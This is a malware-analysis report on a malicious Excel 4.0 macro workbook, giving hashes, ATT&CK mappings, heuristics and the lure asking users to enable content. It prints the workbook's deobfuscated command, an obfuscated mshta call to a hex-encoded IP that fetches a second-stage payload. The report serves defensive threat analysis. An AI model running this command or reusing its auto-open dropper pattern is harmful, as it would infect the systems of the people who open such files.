Office (OLE) / .XLS malware analysis — malicious · 9571c5451812bd2a

MALICIOUS

Office (OLE) / .XLS

64.1 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: d463e43744911f254c069d38209cb597 SHA-1: 39f2d02b4d7cf40b893db2c498794e8d8f5b00fc SHA-256: 9571c5451812bd2adfbeda52fa994035748c5e27f3122d7b554bfbbd9db811dc

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro sheet (XLM) with an Auto_Open macro. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common lure. The extracted XLM macro defines a string that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html', indicating the intent to download a second-stage payload from the specified URL using the mshta utility.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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